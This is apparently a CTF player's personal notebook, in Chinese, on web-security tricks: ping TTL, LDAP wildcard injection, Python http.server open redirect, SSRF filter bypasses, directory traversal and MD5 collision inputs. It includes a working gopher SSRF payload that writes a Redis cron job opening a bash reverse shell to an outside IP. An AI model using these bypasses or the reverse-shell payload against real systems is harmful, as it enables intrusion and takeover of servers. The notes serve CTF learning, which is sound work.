琐碎知识点记录

记录些小的知识盲区

py3的base85

curl可以访问ftp

ping中ttl

http://blog.evalbug.com/2015/10/09/timetolive/

全名为 Time to Live

最初这个字段是每经过一个路由器,就减去在这台路由器上数据转发消耗的时间的整数值,就是说每个路由器上减的不一样。然后科技就发展嘛,现在那种转发数据包会花上1秒钟以上的古董路由器已经几乎没有了,所以每经过一个路由器,这个值都是减1

目前这个字段的含义已经变成了跳数计数器了

Ping 命令里面显示给你看的那个 TTL ,并不是你发出去的数据包的 TTL ,而是和你通信的对方,他设定的初值,然后一路走到你这,扣了多少税之后,剩下的那个数字

ldap注入会报错 Bad searvh filter

可以试试 * *登陆

py http服务的任意URL跳转漏洞

直接用python3 -m http.server启动一个HTTP服务器

访问http://127.0.0.1:8000//example.com/%2f%2e%2e即可发现跳转到了http://example.com/%2f../

如何发现呢 可以看题目中有没有SimpleHTTPServer SimpleHTTPRequestHandler等关键字

起因真是飘零师傅的文章中whitehat ctf上有类似的例子 让后有趣ph师傅博客看了看文章

https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html

Python框架web.py在处理静态文件的代码中继承并使用了SimpleHTTPRequestHandler类,所以也会受到影响

但利用好像比较受限制

顺便一提 web.py和django一样也是个pythonweb的框架。。这名字好奇怪

话说飘零师傅文章中又提到了web.py 世界果然是圆的hhh

ssrf bypass

http://www.freebuf.com/articles/web/135342.html
这篇文章总结的挺好的 有几个点格外引人注意

更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$

^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:

(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

rectf上就是 还有hitcon上四字节getshell的

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容

这个方式好眼熟 lctf2017上有个curl的好像这种方法也能过 orange大师傅好像也分享过类似的

利用302跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

这个在hctf2016也看到了
http://www.freebuf.com/articles/web/121778.html

(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是http://tinyurl.com所提供的短地址服务

同样的,我们也可以自行写一个跳转的服务接口来实现类似的功能

大概是http://xxxxx/?u=http://127.0.0.1

在有域名的vps上写一个跳转页面实现

通过各种非HTTP协议:

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

(1)、GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a/1 bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

没错 又见到 gopher 结合 ssrf 打redis 之前也记录过打mysql的

(2)、File协议:File协议主要用于访问本地计算机中的文件,我们可以通过类似file:///文件路径这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过file:///d:/1.txt 来访问D盘中1.txt的内容

file协议这东西以前不重视 这次网鼎反序列化读文件压根没想到要结合file协议

DNS Rebinding

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

这方法看的不太懂但那个ttl很感兴趣hhh 刚刚记录过

python和django的目录遍历漏洞

http://www.lijiejie.com/python-django-directory-traversal/

A_A 可以用 A.A绕过

安恒月赛的一道题

要求ios访问

Mozilla/5.0 (iPhone; CPU iPhone OS 99 like Mac OS X) AppleWebKit/0 Safari/536

md5碰撞

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2

303重定向

get改post

strings file | grep -i pico

strings一堆 结合 grep查找 pico2018里的

http://man.linuxde.net/strings

其他

见到了就来写点 写着写着发现很多知识点之间是有关联的 web真是有趣啊orz